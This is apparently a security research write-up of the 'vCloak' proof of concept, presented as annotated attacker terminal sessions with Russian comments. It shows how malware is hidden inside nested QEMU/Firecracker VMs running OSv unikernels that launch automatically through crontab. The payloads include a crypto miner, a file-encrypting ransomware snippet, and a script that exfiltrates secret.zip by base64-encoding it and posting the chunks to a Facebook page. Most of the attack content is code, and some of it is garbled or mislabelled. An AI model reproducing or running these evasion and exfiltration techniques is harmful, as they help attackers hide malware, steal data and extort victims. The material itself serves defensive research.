attacker@host:~$ git clone https://github.com/ch-mk/vCloak.git
attacker@host:~$ cd PoC
attacker@host:~/PoC$ cat vcloak1.sh 
# запускаем демон virtio, чтобы предоставить файлы хоста 
virtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ # запускаем минимальный образ Ubuntu 
qemu-system-x86_64 \
-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \
-device vhost-user-fs-pci,chardev=char0,tag=myfs \
-object memory-backend-memfd,id=mem,size=4G,share=on \
-numa node,memdev=mem \
attacker@host:~/PoC$ ./vcloak1.sh # фактическое выполнение осуществляется автоматически, привилегированной точкой входа

attacker@vcloak1:~/PoC$ lsmod | grep kvm # требуется поддержка KVM 
kvm_intel 282624 0
kvm 663552 1 kvm_intel

attacker@vcloak1:~$ cat vcloak2.py # фактическое выполнение происходит автоматически при помощи crontab
def main(options):
# Проверяем, установлен ли firecracker is installed
dirname = os.path.dirname(os.path.abspath(__file__))
firecracker_path = find_firecracker(dirname, options.arch)
# Firecracker установлен, так что начнем
print_time(«Start»)
socket_path = '/tmp/firecracker.socket'
if options.api:
firecracker = start_firecracker(firecracker_path, socket_path)
# Готовим аргументы, которые будем передавать при создании инстанса виртуальной машины 
kernel_path = options.kernel
if not kernel_path:
kernel_path = os.path.join(dirname, '../build/release/kernel.elf')
qemu_disk_path = options.image
if not qemu_disk_path:
qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')
raw_disk_path = disk_path(qemu_disk_path)
cmdline = options.execute
if not cmdline:
with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:
cmdline = f.read()
if options.arch == 'aarch64':
cmdline = «console=tty --disable_rofs_cache %s» % cmdline
else:
cmdline = «--nopci %s» % cmdline
client.configure_machine(options.vcpus, memory_in_mb)
print_time(«Configured VM»)
client.add_disk(raw_disk_path)
print_time(«Added disk»)
if options.networking:
client.add_network_interface('eth0', 'fc_tap0')
client.create_instance(kernel_path, cmdline)
print_time(«Created OSv VM with cmdline: %s» % cmdline)
if not options.api:
if options.verbose:
print(client.firecracker_config_json())
firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())
else:
client.start_instance()
print_time(«Booted OSv VM»)
attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontab
attacker@vcloak1:~$ sudo apt update

attacker@vcloak1:~$ sudo apt update 
attacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-dev
attacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repository
attacker@vcloak1:~$ cd osv
attacker@vcloak1:~/osv$ git submodule update --init –recursive # install # install examples and other dependencies
attacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world app
total 40
-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello
-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c
-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile
-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py
-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README
-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifest
attacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code
#include 
int main(){
printf(«Hello from C code\n»);
return 0;
}
attacker@vcloak1:~/osv$ ./scripts/build image=native-example #let’s wrap out app with OSv unikernel
attacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv build
OSv v0.55.0-157-g0cf6acc7
eth0: 192.168.122.15
Booted up in 0.00 ms
Cmdline: /hello
Hello from C code

In a very similar way we can build an OSv app with python:
attacker@vcloak1:~/osv$ ./scripts/build image=python2x
attacker@vcloak1:~/osv$ ./scripts/run.py
OSv v0.55.0-157-g0cf6acc7
eth0: 192.168.122.15
Booted up in 0.00 ms
Cmdline: /python
Python 2.7.18 (default, Aug 4 2020, 11:16:42) 
[GCC 9.3.0] on linux2
Type «help», «copyright», «credits» or «license» for more information.
>>>

attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py # выполнение происходит автоматически
import hashlib
def get_sha_256_hash(input_value):
return hashlib.sha256(input_value).hexdigest()
def block_hash_less_than_target(block_hash, given_target):
return int(block_hash, 16) < int(given_target, 16)
# данные о первичном блоке (корень дерева Меркла, описывающего транзакции, метка времени, версия клиента, хеш предыдущего блока)
blockData = \
'01000000000000000000000000000000000000000000000000000000000000000000000' \
'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \
'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \
'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \
'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \
'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \
'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \
'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \
.encode()
# Исходная цель – так будет проще всего, если я когда-нибудь соберусь намайнить блок биткойна  
target = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'
solution_found = False
block_data_hexadecimal_value = int(blockData, 16)
nonce = 0
while not solution_found:
block_data_with_nonce = block_data_hexadecimal_value + nonce
# Найти двойной хеш
first_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())
second_hash = get_sha_256_hash(first_hash.encode())
print('Nonce: ' + str(nonce))
print('Block hash:')
print(second_hash)
print('Is the block hash less than the target?')
solution_found = block_hash_less_than_target(second_hash, target)
print(solution_found)
if not solution_found:
nonce += 1

attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py # выполнение происходит автоматически
# Открыть файл
file_name = «foto.jpg»
file = open(file_name, «rb»)
file_data = file.read()
file.close()
# Удалить файл
#os.remove(file_name)
# Зашифровать данные файла (при помощи AES)
key = «0123456789abcdef» # 16-байтный ключ – замена для вашего ключа
aes = pyaes.AESModeOfOperationCTR(key)
crypto_data = aes.encrypt(file_data)
# Сохранить файл
new_file_name = file_name + «.pyransom» # Путь, чтобы сбросить файл
new_file = open(new_file_name, 'wb')
new_file.write(crypto_data)
new_file.close()

attacker@vcloak1:~$ cat apps/python-ransom/ransom.py # выполнение происходит автоматически
import facebook, time, base64, textwrap
def main():
cfg = {
# Заполняем идентификатор страницы и обращаемся к токену, приведенному ниже 
«page_id» : «»,
«access_token» : «»
}
api = get_api(cfg)
# Считываем zip-файл как двоичные данные и зашифровываем их при помощи base-64
msg = file_read_into_array()
# Вычисляем, сколько постов нужно сделать
chunks = (len(msg) / float(50000)) 
if isinstance(chunks, float) or (a == 0):
chunks = int(chunks) + 1
# Дробим данные base-64 на фрагменты по 50 000 символов каждый 
file_array = textwrap.wrap(msg, 50000)
# Публикуем данные на странице Facebook 
for i in range(chunks):
status = api.put_wall_post(«Part####» + str(i) + « « + file_array[i])
time.sleep(0.5)
# Функция для чтения zip-файла и кодировки base-64 
def file_read_into_array():
with open(«secret.zip», «rb») as f:
a = f.read()
encoded_data = base64.encodestring(a)
return encoded_data
# Основная функция для публикации данных на Facebook
def get_api(cfg):
graph = facebook.GraphAPI(cfg['access_token'])
resp = graph.get_object('me/accounts')
page_access_token = None
for page in resp['data']:
if page['id'] == cfg['page_id']:
page_access_token = page['access_token']
graph = facebook.GraphAPI(page_access_token)
return graph
if __name__ == «__main__»:
main()